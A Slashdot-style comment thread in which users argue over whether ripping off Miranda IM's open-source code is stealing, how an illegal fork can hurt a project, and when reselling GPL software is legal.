That's my feeling on the matter in general. My desire is that these "fat lazy nothings" would no longer be a burden on me. I'm pretty tired of knowing that so much of what I do and earn is ultimately "child support" for the rest of humanity.

Re:I'm confused

[alex_ware]

I read at -1 but somehow that must of reset itself... whoops.

Re:On Stealing...

[imsabbel]

Your argument doesnt cut.
In all the instances of your last paragraph showing stuff that "is stealing", another party was deprived of income.

Not so with ripping Open Source. The copyright violating party may GAIN samething, but the creator doesnt lose anything.
Its just the same argument people make for downloading music/movies.

Re:On Stealing...

[generic-man]

A software company can't afford to hire a development staff, and they're too poor to afford development software / education anyway. So they just make a copy of some open source program and sell it en masse on-line.

Seems pretty similar to me.

Re:On Stealing...

[facelessnumber]

Actually, yeah, it can hurt an Open Source project. If the pirates who illegally fork the code make good, valuable modifications to it, or bling it up enough, or just by dumb luck their version becomes more popular, then the new, closed-source app can suck up the original's user base, popularity and interest. An illegal fork can kill an OSS project just as fast as a perfectly legitimate fork can, only in the case of the latter, the project moves on in some other form because it's still Free.

Then again... I didn't know shit about Miranda IM before some jackasses ripped it off. I doubt I'm the only one. I'll probably check it out and see if it sucks less than WinGAIM. Maybe this time they actually helped Miranda. Viva Slashdot.

Re:On Stealing...

[facelessnumber]

Yeah, and that's legal. (Or can be) As long as you preserve the copyrights and comply with the GPL you can spin a CD with Firefox on it, give it a snazzy cover, rename the app Generic-ISPWebCruzerLitePro2006 and sell it for $50 a disc if people will buy it. Red Hat, Novell, Linspire, Xandros and Mandriva do it all the time. Perfectly legit to do that with Miranda too if you respect the license.